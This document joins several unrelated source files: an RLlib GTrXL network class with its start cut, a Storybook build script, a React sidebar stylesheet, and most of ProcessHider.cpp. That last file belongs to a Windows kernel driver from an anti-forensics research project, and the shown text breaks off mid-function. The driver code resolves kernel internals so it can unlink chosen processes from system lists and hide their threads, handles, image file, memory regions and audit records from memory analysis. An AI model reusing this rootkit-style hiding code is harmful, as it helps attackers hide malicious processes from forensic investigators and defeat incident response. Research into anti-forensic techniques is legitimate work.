from ray.rllib.models.torch.recurrent_net import RecurrentNetwork
from ray.rllib.utils.annotations import override
from ray.rllib.utils.framework import try_import_torch
torch, nn = try_import_torch()
def relative_position_embedding(seq_length, out_dim):
"""Creates a [seq_length x seq_length] matrix for rel. pos encoding.
Denoted as Phi in [2] and [3]. Phi is the standard sinusoid encoding
matrix.
Args:
seq_length (int): The max. sequence length (time axis).
out_dim (int): The number of nodes to go into the first Tranformer
layer with.
Returns:
torch.Tensor: The encoding matrix Phi.
"""
inverse_freq = 1 / (10000**(torch.arange(0, out_dim, 2.0) / out_dim))
pos_offsets = torch.arange(seq_length - 1, -1, -1)
inputs = pos_offsets[:, None] * inverse_freq[None, :]
return torch.cat((torch.sin(inputs), torch.cos(inputs)), dim=-1)
class GTrXLNet(RecurrentNetwork, nn.Module):
"""A GTrXL net Model described in [2].
This is still in an experimental phase.
Can be used as a drop-in replacement for LSTMs in PPO and IMPALA.
For an example script, see: `ray/rllib/examples/attention_net.py`.
To use this network as a replacement for an RNN, configure your Trainer
as follows:
Examples:
>> config["model"]["custom_model"] = GTrXLNet
>> config["model"]["max_seq_len"] = 10
>> config["model"]["custom_model_config"] = {
>> num_transformer_units=1,
>> attn_dim=32,
>> num_heads=2,
>> memory_tau=50,
>> etc..
>> }
"""
def __init__(self,
observation_space,
action_space,
num_outputs,
model_config,
name,
num_transformer_units,
attn_dim,
num_heads,
memory_tau,
head_dim,
ff_hidden_dim,
init_gate_bias=2.0):
"""Initializes a GTrXLNet.
Args:
num_transformer_units (int): The number of Transformer repeats to
use (denoted L in [2]).
attn_dim (int): The input and output dimensions of one Transformer
unit.
num_heads (int): The number of attention heads to use in parallel.
Denoted as `H` in [3].
memory_tau (int): The number of timesteps to store in each
transformer block's memory M (concat'd over time and fed into
next transformer block as input).
head_dim (int): The dimension of a single(!) head.
Denoted as `d` in [3].
ff_hidden_dim (int): The dimension of the hidden layer within
the position-wise MLP (after the multi-head attention block
within one Transformer unit). This is the size of the first
of the two layers within the PositionwiseFeedforward. The
second layer always has size=`attn_dim`.
init_gate_bias (float): Initial bias values for the GRU gates (two
GRUs per Transformer unit, one after the MHA, one after the
position-wise MLP).
"""
super().__init__(observation_space, action_space, num_outputs,
model_config, name)
nn.Module.__init__(self)
self.num_transformer_units = num_transformer_units
self.attn_dim = attn_dim
self.num_heads = num_heads
self.memory_tau = memory_tau
self.head_dim = head_dim
self.max_seq_len = model_config["max_seq_len"]
self.obs_dim = observation_space.shape[0]
# Constant (non-trainable) sinusoid rel pos encoding matrix.
Phi = relative_position_embedding(self.max_seq_len + self.memory_tau,
self.attn_dim)
self.linear_layer = SlimFC(
in_size=self.obs_dim, out_size=self.attn_dim)
self.layers = [self.linear_layer]
# 2) Create L Transformer blocks according to [2].
for i in range(self.num_transformer_units):
# RelativeMultiHeadAttention part.
MHA_layer = SkipConnection(
RelativeMultiHeadAttention(
in_dim=self.attn_dim,
out_dim=self.attn_dim,
num_heads=num_heads,
head_dim=head_dim,
rel_pos_encoder=Phi,
input_layernorm=True,
output_activation=nn.ReLU),
fan_in_layer=GRUGate(self.attn_dim, init_gate_bias))
# Position-wise MultiLayerPerceptron part.
E_layer = SkipConnection(
nn.Sequential(
torch.nn.LayerNorm(self.attn_dim),
SlimFC(
in_size=self.attn_dim,
out_size=ff_hidden_dim,
use_bias=False,
activation_fn=nn.ReLU),
SlimFC(
in_size=ff_hidden_dim,
out_size=self.attn_dim,
use_bias=False,
activation_fn=nn.ReLU)),
fan_in_layer=GRUGate(self.attn_dim, init_gate_bias))
# Build a list of all layers in order.
self.layers.extend([MHA_layer, E_layer])
# Postprocess GTrXL output with another hidden layer.
self.logits = SlimFC(
in_size=self.attn_dim,
out_size=self.num_outputs,
activation_fn=nn.ReLU)
# Value function used by all RLlib Torch RL implementations.
self._value_out = None
self.values_out = SlimFC(
in_size=self.attn_dim, out_size=1, activation_fn=None)
@override(RecurrentNetwork)
def forward_rnn(self, inputs, state, seq_lens):
# To make Attention work with current RLlib's ModelV2 API:
# We assume `state` is the history of L recent observations (all
# concatenated into one tensor) and append the current inputs to the
# end and only keep the most recent (up to `max_seq_len`). This allows
# us to deal with timestep-wise inference and full sequence training
# within the same logic.
state = [torch.from_numpy(item) for item in state]
observations = state[0]
memory = state[1:]
inputs = torch.reshape(inputs, [1, -1, observations.shape[-1]])
observations = torch.cat(
(observations, inputs), axis=1)[:, -self.max_seq_len:]
all_out = observations
for i in range(len(self.layers)):
# MHA layers which need memory passed in.
if i % 2 == 1:
all_out = self.layers[i](all_out, memory=memory[i // 2])
# Either linear layers or MultiLayerPerceptrons.
else:
all_out = self.layers[i](all_out)
logits = self.logits(all_out)
self._value_out = self.values_out(all_out)
memory_outs = all_out[2:]
# If memory_tau > max_seq_len -> overlap w/ previous `memory` input.
if self.memory_tau > self.max_seq_len:
memory_outs = [
torch.cat(
[memory[i][:, -(self.memory_tau - self.max_seq_len):], m],
axis=1) for i, m in enumerate(memory_outs)
]
else:
memory_outs = [m[:, -self.memory_tau:] for m in memory_outs]
T = list(inputs.size())[1] # Length of input segment (time).
# Postprocessing final output.
logits = logits[:, -T:]
self._value_out = self._value_out[:, -T:]
return logits, [observations] + memory_outs
@override(RecurrentNetwork)
def get_initial_state(self):
# State is the T last observations concat'd together into one Tensor.
# Plus all Transformer blocks' E(l) outputs concat'd together (up to
# tau timesteps).
return [np.zeros((self.max_seq_len, self.obs_dim), np.float32)] + \
[np.zeros((self.memory_tau, self.attn_dim), np.float32)
for _ in range(self.num_transformer_units)]
@override(ModelV2)
def value_function(self):
return torch.reshape(self._value_out, [-1])
|
shawn-dsz/sku | scripts/build-storybook.js | // First, ensure the build is running in production mode
process.env.NODE_ENV = 'production';
const path = require('path');
const { promisify } = require('util');
const rimraf = promisify(require('rimraf'));
const { argv } = require('../config/args');
const gracefulSpawn = require('../lib/gracefulSpawn');
const { storybookTarget } = require('../context');
const buildStorybookPath = require.resolve('@storybook/react/bin/build.js');
const configDir = path.resolve(__dirname, '..', 'config', 'storybook', 'build');
(async () => {
await rimraf(storybookTarget);
argv.push('--config-dir', configDir);
argv.push('--output-dir', storybookTarget);
const storybookProcess = gracefulSpawn(buildStorybookPath, argv, {
stdio: 'inherit',
env: process.env,
});
storybookProcess.on('exit', exitCode => {
process.exit(exitCode);
});
})();
|
DioHX/FireNote | src/components/Sidebar/styles.js | <filename>src/components/Sidebar/styles.js
import styled from 'styled-components';
export const Container = styled.aside`
display: flex;
flex-direction: column;
justify-content: space-between;
z-index: 10;
min-height: 100%;
min-width: 80px;
background: #282A36;
color: #b3b3b3;
border-right: 0.01rem solid #2C2E3D;
> div {
padding: 25px;
}
`;
export const Nav = styled.ul`
display: block;
list-style-type: disc;
margin-block-start: 1em;
margin-block-end: 1em;
margin-inline-start: 0px;
margin-inline-end: 0px;
/* padding-inline-start: 40px; */
list-style: none;
&:first-child {
margin: 0;
}
div {
display: flex;
justify-content: center;
align-items: center;
width: 100%;
height: 70px;
background: #FB2F51;
margin-bottom: 10px;
img {
height: 32px;
width: 32px;
margin-bottom: 10px;
}
}
li {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
height: 100px;
img {
height: 24px;
width: 24px;
margin-bottom: 10px;
}
a {
display: flex;
flex-direction: column;
justify-content: center;
align-items: center;
color: rgb(140, 132, 155);
font-size: 12px;
transition: all 0.1s ease 0s;
border-width: 0px;
border-style: initial;
border-color: initial;
border-image: initial;
text-decoration: none;
height: 80px;
-webkit-touch-callout: none;
-webkit-user-select: none;
-khtml-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
cursor: pointer;
&:hover {
color: #fff;
background: #1E1B26;
width: 100%;
}
}
span {
font-size: 11px;
text-transform: uppercase;
line-height: 22px;
letter-spacing: 1.11px;
font-weight: 300;
}
}
`;
export const NewPlaylist = styled.button`
background: transparent;
border: 0;
border-top: 1px solid #282828;
font-size: 13px;
color: #b3b3b3;
display: flex;
align-items: center;
padding: 15px 25px;
&:hover {
color: #fff;
}
img {
margin-right: 10px;
}
`; |
allewwaly/dementia-forensics | DementiaKM/ProcessHider.cpp | #include "ProcessHider.h"
#include "ProcessHiderPrivateIncludes.h"
#include "SymbolWrapper.h"
#include "GenericHider.h"
#include "AllocationHider.h"
#include "ThreadHider.h"
#include "ObjectHider.h"
#include "HideEntry.h"
#include "FileHider.h"
#include "VADHider.h"
#include "WinVerProvider.h"
// boolean representing status of ProcessHider
static BOOLEAN bIsProcessHiderInitialized = FALSE;
// flag which determines the state of symbols used in ProcessHider
static BOOLEAN bSymbolsInitialized = FALSE;
// using lookaside list for allocating memory
static NPAGED_LOOKASIDE_LIST TargetProcessLookasideList;
// head of the list of the target processes to be hidden
static LIST_ENTRY TargetProcessListHead;
// mutex which will protect accesses to the list of target processes
static FAST_MUTEX TargetProcessListMutex;
// offset of rundown protect member inside EPROCESS block
static ULONG uEPROCRundownProtectOffset = -1;
// offset of process name inside EPROCESS block
static ULONG uEPROCImageFileNameOffset = -1;
// offset of process links inside EPROCESS block
static ULONG uEPROCActiveProcessLinksOffset = -1;
// offset of session process links (list of all processes in a session) inside EPROCESS block
static ULONG uEPROCSessionProcessLinksOffset = -1;
// offset of process links inside EPROCESS block
static ULONG uEPROCUniqueProcessIdOffset = -1;
// offset of process creation info struct inside EPROCESS block
static ULONG uEPROCSeAuditProcessCreationInfoOffset = -1;
// offset of Job member (pointer) inside EPROCESS block
static ULONG uEPROCJobOffset = -1;
// offset of SectionBaseAddress pointer inside EPROCESS block
// this address is needed for deleting the mapped memory region in VADHider
static ULONG uEPROCSectionBaseAddressOffset = -1;
// offset of VadRoot inside EPROCESS block
static ULONG uEPROCVadRootOffset = -1;
#ifdef _WIN64
// offset of ObjectTable inside EPROCESS block - this member is used only on x64 builds in order to (UNSAFELY) reference process handle table
static ULONG uEPROCObjectTableOffset = -1;
#endif // _WIN64
// address of mutex used for synchronizing the access to ActiveProcessLinks list
static PVOID pPspActiveProcessMutex = NULL;
// head of ActiveProcessLinks list
static PLIST_ENTRY pPsActiveProcessHead = NULL;
// address of PsLookupProcessByProcessId function
static PSLOOKUPPROCESSBYPROCESSID pPsLookupProcessByProcessId = NULL;
// address of PsGetNextProcessThread function
static PSGETNEXTPROCESSTHREAD pPsGetNextProcessThread = NULL;
// address of PsReferenceProcessFilePointer function
static PSREFPROCESSFILEPOINTER pPsReferenceProcessFilePointer = NULL;
// address of ExAcquireRundownProtection (below Vista)
static EXACQUIRERUNDOWNPROTECTION pExAcquireRundownProtection = NULL;
// address of ExAcquireRundownProtectionEx (below Vista)
static EXACQUIRERUNDOWNPROTECTIONEX pExAcquireRundownProtectionEx = NULL;
// address of ExReleaseRundownProtection (below Vista)
static EXRELEASERUNDOWNPROTECTION pExReleaseRundownProtection = NULL;
// address of ExReleaseRundownProtectionEx (below Vista)
static EXRELEASERUNDOWNPROTECTIONEX pExReleaseRundownProtectionEx = NULL;
VOID PhpAcquireProcessListProtection(VOID);
VOID PhpReleaseProcessListProtection(VOID);
PETHREAD PhpPsGetNextProcessThread(IN PEPROCESS, IN PETHREAD);
// returns the array of pointers to target process EPROCESS blocks
// size of this array is returned in the second argument
// caller is responsible for memory deallocation!
PEPROCESS * PhpFindTargetProcesses(const IN PCHAR, OUT PULONG);
BOOLEAN PhpAddTargetProcesses(const IN PEPROCESS *, const IN ULONG, const IN PTARGET_OBJECT);
BOOLEAN PhpAddTargetProcessToList(const IN PEPROCESS, const IN PTARGET_OBJECT);
BOOLEAN PhpHideThreads(IN OUT PSORTED_LIST, const IN PEPROCESS, const IN BOOLEAN);
BOOLEAN PhpHideHandles(IN OUT PSORTED_LIST, const IN PEPROCESS);
BOOLEAN PhpHideImageFile(IN OUT PSORTED_LIST, const IN PEPROCESS);
BOOLEAN PhpHideProcessJob(IN OUT PSORTED_LIST, const IN PEPROCESS);
BOOLEAN PhpHideProcessVads(IN OUT PSORTED_LIST, const IN PEPROCESS);
BOOLEAN PhpHideProcessAuditingInfo(IN OUT PSORTED_LIST, const IN PEPROCESS);
// this function is actually a simple strncmp function with n = 16 (length of the ImageFileName member in EPROCESS)
// RtlEqualMemory was used before, but it failed on Windows 7 (the whole 16-byte buffer was different on Windows 7)
// on Windows XP it worked fine
BOOLEAN PhpProcessNamesEqual(IN PCHAR, IN PCHAR);
// this function is simple (read: stupid) implementation of realloc
// be careful when using this function, since it could lead to all sorts of problems
PVOID PhpRealloc(IN PVOID, const IN ULONG, const IN ULONG, const IN POOL_TYPE);
NTSTATUS PhInit(VOID)
{
KeEnterCriticalRegion();
if(bIsProcessHiderInitialized == TRUE)
{
KeLeaveCriticalRegion();
return STATUS_SUCCESS;
}
// initialize allocation hider if it has not been initialized
if(!AhIsInitialized())
{
AhInit();
}
if(!NT_SUCCESS(ThInit()))
{
KdPrint(("[DEBUG] WARNING - Thread engine not initialized -- threads will not be hidden...\n"));
}
if(!NT_SUCCESS(OhInit()))
{
KdPrint(("[DEBUG] WARNING - Object hider not initialized -- handles and objects will not be hidden...\n"));
}
if(!NT_SUCCESS(FhInit()))
{
KdPrint(("[DEBUG] WARNING - File hider not initialized -- process image file object will not be hidden...\n"));
}
if(!NT_SUCCESS(VADhInit()))
{
KdPrint(("[DEBUG] WARNING - VAD hider not initialized -- private memory ranges of the target process will not be hidden...\n"));
}
BOOLEAN bRet = TRUE;
if(WinGetMajorVersion() >= 6)
{
bRet = SymWAddSymbol("PspActiveProcessLock", -1, -1, -1, -1) &&
SymWAddSymbol("ExAcquireRundownProtectionEx", -1, -1, -1, -1) &&
SymWAddSymbol("ExReleaseRundownProtectionEx", -1, -1, -1, -1);
}
else
{
bRet = SymWAddSymbol("PspActiveProcessMutex", -1, -1, -1, -1) &&
SymWAddSymbol("ExAcquireRundownProtection", -1, -1, -1, -1) &&
SymWAddSymbol("ExReleaseRundownProtection", -1, -1, -1, -1);
}
// add all symbols that are necessary for proper functioning of the driver and the hiding algorithms
if(!bRet ||
!SymWAddSymbol("PsLookupProcessByProcessId", -1, -1, -1, -1) ||
!SymWAddSymbol("PsGetNextProcessThread", -1, -1, -1, -1) ||
!SymWAddSymbol("PsReferenceProcessFilePointer", -1, -1, -1, -1) ||
!SymWAddSymbol("PsActiveProcessHead", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.RundownProtect", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.ActiveProcessLinks", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.SessionProcessLinks", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.UniqueProcessId", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.ImageFileName", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.SeAuditProcessCreationInfo", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.Job", -1, -1, -1, -1) ||
#ifdef _WIN64
!SymWAddSymbol("_EPROCESS.ObjectTable", -1, -1, -1, -1) ||
#endif // _WIN64
!SymWAddSymbol("_EPROCESS.SectionBaseAddress", -1, -1, -1, -1) ||
!SymWAddSymbol("_EPROCESS.VadRoot", -1, -1, -1, -1)
)
{
KdPrint(("[DEBUG] ERROR - Error while adding necessary symbols - process engine INACTIVE!\n"));
KeLeaveCriticalRegion();
return STATUS_NOT_FOUND;
}
ASSERTMSG("Fast mutex must be initialized at or below DISPATCH_LEVEL", KeGetCurrentIrql() <= DISPATCH_LEVEL);
// initialize all required data structures
ExInitializeNPagedLookasideList(&TargetProcessLookasideList, // list to initialize
NULL, // allocate function - OS supplied
NULL, // free function - OS supplied
0, // flags - always zero
sizeof(PROC_HIDE), // size of each entry to be allocated
TAG_TARGET_PROCESS_LOOKASIDE, // Tprl(ookaside) tag
0 // depth - always zero
);
InitializeListHead(&TargetProcessListHead);
ExInitializeFastMutex(&TargetProcessListMutex);
bIsProcessHiderInitialized = TRUE;
KeLeaveCriticalRegion();
return STATUS_SUCCESS;
}
BOOLEAN PhInitSymbols(VOID)
{
ASSERTMSG("Critical region entering and mutex acquiring must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
ASSERTMSG("Cannot get process-related symbols if engine is not yet initialized", bIsProcessHiderInitialized == TRUE);
KeEnterCriticalRegion();
if(bSymbolsInitialized == TRUE)
{
KeLeaveCriticalRegion();
return TRUE;
}
// initialize symbols for all "subclasses" (for example, allocation hider, thread hider, etc.)
BOOLEAN bRet = AhInitSymbols() &&
ThInitSymbols() &&
OhInitSymbols() &&
FhInitSymbols() &&
VADhInitSymbols();
// on Vista and Windows 7, process mutex is actually lock
if(WinGetMajorVersion() >= 6)
{
bRet &= SymWInitializeAddress(&pPspActiveProcessMutex, "PspActiveProcessLock", FALSE) &&
SymWInitializeAddress((PVOID *) &pExAcquireRundownProtectionEx, "ExAcquireRundownProtectionEx", TRUE) &&
SymWInitializeAddress((PVOID *) &pExReleaseRundownProtectionEx, "ExReleaseRundownProtectionEx", TRUE);
}
else
{
bRet &= SymWInitializeAddress(&pPspActiveProcessMutex, "PspActiveProcessMutex", FALSE) &&
SymWInitializeAddress((PVOID *) &pExAcquireRundownProtection, "ExAcquireRundownProtection", TRUE) &&
SymWInitializeAddress((PVOID *) &pExReleaseRundownProtection, "ExReleaseRundownProtection", TRUE);
}
bRet &= SymWInitializeAddress((PVOID *) &pPsActiveProcessHead, "PsActiveProcessHead", FALSE) &&
SymWInitializeAddress((PVOID *) &pPsLookupProcessByProcessId, "PsLookupProcessByProcessId", TRUE) &&
SymWInitializeAddress((PVOID *) &pPsGetNextProcessThread, "PsGetNextProcessThread", TRUE) &&
SymWInitializeAddress((PVOID *) &pPsReferenceProcessFilePointer, "PsReferenceProcessFilePointer", TRUE) &&
SymWInitializeOffset(&uEPROCRundownProtectOffset, "_EPROCESS.RundownProtect") &&
SymWInitializeOffset(&uEPROCImageFileNameOffset, "_EPROCESS.ImageFileName") &&
SymWInitializeOffset(&uEPROCUniqueProcessIdOffset, "_EPROCESS.UniqueProcessId") &&
SymWInitializeOffset(&uEPROCActiveProcessLinksOffset, "_EPROCESS.ActiveProcessLinks") &&
SymWInitializeOffset(&uEPROCSessionProcessLinksOffset, "_EPROCESS.SessionProcessLinks") &&
SymWInitializeOffset(&uEPROCSeAuditProcessCreationInfoOffset, "_EPROCESS.SeAuditProcessCreationInfo") &&
SymWInitializeOffset(&uEPROCJobOffset, "_EPROCESS.Job") &&
#ifdef _WIN64
SymWInitializeOffset(&uEPROCObjectTableOffset, "_EPROCESS.ObjectTable") &&
#endif // _WIN64
SymWInitializeOffset(&uEPROCSectionBaseAddressOffset, "_EPROCESS.SectionBaseAddress") &&
SymWInitializeOffset(&uEPROCVadRootOffset, "_EPROCESS.VadRoot");
if(!bRet)
{
KdPrint(("[DEBUG] ERROR - Error while initializing offsets or addresses - process engine INACTIVE!\n"));
KeLeaveCriticalRegion();
return bRet;
}
bSymbolsInitialized = TRUE;
KeLeaveCriticalRegion();
return bRet;
}
VOID PhUnInit(VOID)
{
ASSERTMSG("Critical region and lookaside list deletion must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
KeEnterCriticalRegion();
// check if engine has been initialized
if(bIsProcessHiderInitialized == FALSE)
{
KeLeaveCriticalRegion();
return;
}
// uninitialize all engines -- if particular engine is already uninitialized, it won't be
// uninitialized twice
AhUnInit();
ThUnInit();
OhUnInit();
FhUnInit();
VADhUnInit();
// free all entries in lookaside list
ExDeleteNPagedLookasideList(&TargetProcessLookasideList);
bIsProcessHiderInitialized = FALSE;
KeLeaveCriticalRegion();
}
BOOLEAN PhAddTargetProcess(const IN PTARGET_OBJECT pTargetObject)
{
ASSERTMSG("Cannot add process if hider is not yet initialized", bIsProcessHiderInitialized == TRUE);
ASSERTMSG("Internal symbols are not initialized!", bSymbolsInitialized == TRUE);
if(pTargetObject == NULL)
{
KdPrint(("[DEBUG] ERROR - Invalid hide object passed - pointer to hide object cannot be NULL\n"));
return FALSE;
}
BOOLEAN bRet = TRUE;
PCHAR szProcessName = pTargetObject->szObjectName;
ULONG_PTR uPID = pTargetObject->uPID;
// find target process EPROCESS block
PEPROCESS pTargetProc = NULL;
ULONG uTargetProcessCount = 0;
PEPROCESS *pTargetProcessArray = NULL;
if(uPID != -1)
{
if(!NT_SUCCESS(pPsLookupProcessByProcessId((HANDLE) uPID, &pTargetProc)))
{
KdPrint(("[DEBUG] WARNING - Process lookup for process with PID %d failed... Trying name lookup\n", uPID));
// get array of pointers to EPROCESS blocks of target processes
pTargetProcessArray = PhpFindTargetProcesses(szProcessName, &uTargetProcessCount);
// if the array retrieval failed, exit
if(pTargetProcessArray == NULL)
{
KdPrint(("[DEBUG] ERROR - Target processes could not be obtained - exiting...\n"));
return FALSE;
}
// add all processes to the internal list
bRet = PhpAddTargetProcesses(pTargetProcessArray, uTargetProcessCount, pTargetObject);
}
else
{
// process found by PID -- add directly to the list
bRet = PhpAddTargetProcessToList(pTargetProc, pTargetObject);
KdPrint(("[DEBUG] Found process %s with PID = %d. EPROCESS @ 0x%x\n", szProcessName, uPID, pTargetProc));
ObDereferenceObject(pTargetProc);
}
}
else
{
// PID not specified, first get array of EPROCESS pointers
pTargetProcessArray = PhpFindTargetProcesses(szProcessName, &uTargetProcessCount);
// if the array retrieval failed, exit
if(pTargetProcessArray == NULL)
{
KdPrint(("[DEBUG] ERROR - Target processes could not be obtained - exiting...\n"));
return FALSE;
}
// add all processes to the internal list
bRet = PhpAddTargetProcesses(pTargetProcessArray, uTargetProcessCount, pTargetObject);
}
// delete the memory allocated for the internal process list!
if(pTargetProcessArray != NULL)
{
ExFreePoolWithTag(pTargetProcessArray, TAG_TARGET_PEPROCESS_ARRAY);
}
return bRet;
}
BOOLEAN PhFindHideAddreses(IN OUT PSORTED_LIST pList)
{
ASSERTMSG("Cannot add process if hider is not yet initialized", bIsProcessHiderInitialized == TRUE);
ASSERTMSG("Internal symbols are not initialized!", bSymbolsInitialized == TRUE);
if(pList == NULL)
{
KdPrint(("[DEBUG] ERROR - Invalid hide list - pointer to hide list cannot be NULL\n"));
return FALSE;
}
BOOLEAN bRet = TRUE;
PLIST_ENTRY targetProcessEntry = TargetProcessListHead.Flink;
// iterate through the target process list
ASSERTMSG("Fast mutex acquire must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
ExAcquireFastMutex(&TargetProcessListMutex);
while(targetProcessEntry != &TargetProcessListHead)
{
PPROC_HIDE pTargetProcessEntry = CONTAINING_RECORD(targetProcessEntry, PROC_HIDE, ListEntry);
PEPROCESS pTargetProc = (PEPROCESS) pTargetProcessEntry->pEPROCESS;
// find allocation first - PROCESS allocation has "Proc" tag (0xe36f7250 hex)
bRet &= AhAddAllocation(pList, (PVOID) pTargetProc, 0xe36f7250);
// find process list flink/blink pointers
PhpAcquireProcessListProtection();
// modify process list links
GhModifyListFlinkBlinkPointers(pList, (PVOID) pTargetProc, uEPROCActiveProcessLinksOffset);
KdPrint(("[DEBUG] Deleting session process list links...\n"));
// modify session process list links
GhModifyListFlinkBlinkPointers(pList, (PVOID) pTargetProc, uEPROCSessionProcessLinksOffset);
PhpReleaseProcessListProtection();
// check if process threads need to be hidden (default: yes)
if(pTargetProcessEntry->targetObject.bHideThreads)
{
bRet &= PhpHideThreads(pList, pTargetProc, pTargetProcessEntry->targetObject.bHideHandles);
}
// check if process handle table should be hidden, along with all opened handles (default: yes)
if(pTargetProcessEntry->targetObject.bHideHandles)
{
bRet &= PhpHideHandles(pList, pTargetProc);
}
// check if process image file object should be hidden (default: yes)
if(pTargetProcessEntry->targetObject.bHideImageFileObj)
{
bRet &= PhpHideImageFile(pList, pTargetProc);
}
// check if process job should be modified (default: yes)
// applicable only if process belongs to a job
if(pTargetProcessEntry->targetObject.bHideJob)
{
bRet &= PhpHideProcessJob(pList, pTargetProc);
}
// check if process private memory ranges should be hidden (default: yes)
if(pTargetProcessEntry->targetObject.bHideVad)
{
bRet &= PhpHideProcessVads(pList, pTargetProc);
}
// delete process auditing information
bRet &= PhpHideProcessAuditingInfo(pList, pTargetProc);
// all addresses have been collected - it's safe to unlock the process
// even if the process is killed afterwards, the addresses are only modified inside the write buffer
// there is no danger of crash, only a slightly corrupted buffer in the worst case
//PhpUnlockProcess(pTargetProc);
// move to next target process
targetProcessEntry = targetProcessEntry->Flink;
}
// wanted symbol entry is not present in the list, return NULL
ASSERTMSG("Fast mutex release must occur at APC_LEVEL", KeGetCurrentIrql() == APC_LEVEL);
ExReleaseFastMutex(&TargetProcessListMutex);
return bRet;
}
BOOLEAN PhLockProcess(IN PEPROCESS pProcess)
{
ASSERTMSG("Cannot add process if hider is not yet initialized", bIsProcessHiderInitialized == TRUE);
ASSERTMSG("Internal symbols are not initialized!", bSymbolsInitialized == TRUE);
if(pProcess == NULL)
{
KdPrint(("[DEBUG] ERROR - Cannot lock NULL process\n"));
return FALSE;
}
BOOLEAN bRet = TRUE;
PVOID pProcessRundownProtect = (PVOID) *((PULONG_PTR)SYMW_MEMBER_FROM_OFFSET(pProcess, uEPROCRundownProtectOffset, 0));
ASSERTMSG("Fast mutex/pushlock acquire must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
// if OS is Vista, 2008, Windows 7 or above
if(WinGetMajorVersion() >= 6)
{
bRet = pExAcquireRundownProtectionEx(pProcessRundownProtect);
}
else
{
bRet = pExAcquireRundownProtection(pProcessRundownProtect);
}
return bRet;
}
VOID PhUnlockProcess(IN PEPROCESS pProcess)
{
ASSERTMSG("Cannot add process if hider is not yet initialized", bIsProcessHiderInitialized == TRUE);
ASSERTMSG("Internal symbols are not initialized!", bSymbolsInitialized == TRUE);
if(pProcess == NULL)
{
KdPrint(("[DEBUG] ERROR - Cannot lock NULL process\n"));
return;
}
PVOID pProcessRundownProtect = (PVOID) *((PULONG_PTR)SYMW_MEMBER_FROM_OFFSET(pProcess, uEPROCRundownProtectOffset, 0));
ASSERTMSG("Fast mutex/pushlock acquire must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
// if OS is Vista, 2008, Windows 7 or above
if(WinGetMajorVersion() >= 6)
{
pExReleaseRundownProtectionEx(pProcessRundownProtect);
}
else
{
pExReleaseRundownProtection(pProcessRundownProtect);
}
}
VOID PhpAcquireProcessListProtection(VOID)
{
ASSERTMSG("Fast mutex/pushlock acquire must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
// if we're on Vista or Windows 7
if(WinGetMajorVersion() >= 6)
{
KeEnterCriticalRegion();
ExfAcquirePushLockShared((PEX_PUSH_LOCK) pPspActiveProcessMutex);
}
else
{
ExAcquireFastMutex((PFAST_MUTEX) pPspActiveProcessMutex);
}
}
VOID PhpReleaseProcessListProtection(VOID)
{
// fast mutex or pushlock release
// if we're on Vista or Windows 7
if(WinGetMajorVersion() >= 6)
{
ASSERTMSG("Pushlock release must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
ExfReleasePushLock((PEX_PUSH_LOCK) pPspActiveProcessMutex);
KeLeaveCriticalRegion();
}
else
{
ASSERTMSG("Fast mutex release must occur at APC_LEVEL", KeGetCurrentIrql() == APC_LEVEL);
ExReleaseFastMutex((PFAST_MUTEX) pPspActiveProcessMutex);
}
}
PETHREAD PhpPsGetNextProcessThread(IN PEPROCESS pTargetProcess, IN PETHREAD pThread)
{
ASSERTMSG("Pointer to target process cannot be NULL!", pTargetProcess != NULL);
PETHREAD pNewETHREAD = NULL;
// if OS is Vista, 2008, Windows 7 or above
if(WinGetMajorVersion() >= 6)
{
#ifdef _WIN64
// on x64, only one calling convention is used so we can just call the function (argument will be passed in ECX register)
pNewETHREAD = pPsGetNextProcessThread(pTargetProcess, pThread);
#else // _WIN32
PSGETNEXTPROCESSTHREADVISTA pPsGetNextProcessThreadVista = (PSGETNEXTPROCESSTHREADVISTA) pPsGetNextProcessThread;
// Microsoft changed calling convention for PsGetNextProcessThread in Vista and greater versions.
// it looks like they're using some kind of mixed calling convention, because EPROCESS parameter is being passed
// through the eax register -- we must manually prepare arguments for this function in Vista and greater.
__asm
{
push eax
mov eax, pTargetProcess
push pThread
call pPsGetNextProcessThreadVista
mov pNewETHREAD, eax
pop eax
}
#endif // _WIN64
}
// if OS is XP or lower, we can just call PsGetNextProcessThread method
else
{
pNewETHREAD = pPsGetNextProcessThread(pTargetProcess, pThread);
}
return pNewETHREAD;
}
PEPROCESS * PhpFindTargetProcesses(const IN PCHAR szTargetProcName, OUT PULONG puTargetProcessCount)
{
ASSERTMSG("Fast mutex or pushlock acquire/release must occur at or below APC_LEVEL", KeGetCurrentIrql() <= APC_LEVEL);
ASSERTMSG("Pointer to target process name cannot be NULL", szTargetProcName != NULL);
ASSERTMSG("Pointer to size of the target process array cannot be NULL", puTargetProcessCount != NULL);
// traverse the list of processes
BOOLEAN bProcessExists = FALSE;
// allocate memory for the target process pointer array
// initial allocation is 100*sizeof(PEPROCESS), but it can be deallocated during the iteration!
// non-paged pool can be used, since the operations on the array will be performed with IRQL <= APC_LEVEL
ULONG uArraySize = 100;
ULONG uTargetProcessCount = 0;
PVOID pTargetProcessesPointerArray = ExAllocatePoolWithTag(NonPagedPool, uArraySize * sizeof(PEPROCESS), TAG_TARGET_PEPROCESS_ARRAY);
if(pTargetProcessesPointerArray == NULL)
{
KdPrint(("[DEBUG] ERROR - Fatal error -- could not allocate memory for the target processes array!\n"));
return NULL;
}
// zero-out the buffer
RtlZeroMemory(pTargetProcessesPointerArray, uArraySize * sizeof(PEPROCESS));
// acquire process list mutex/pushlock and traverse it
PhpAcquireProcessListProtection();
PLIST_ENTRY pProcListStart = pPsActiveProcessHead;
PLIST_ENTRY pProcListEntry = pProcListStart->Flink;
PCHAR szProcessName = NULL;
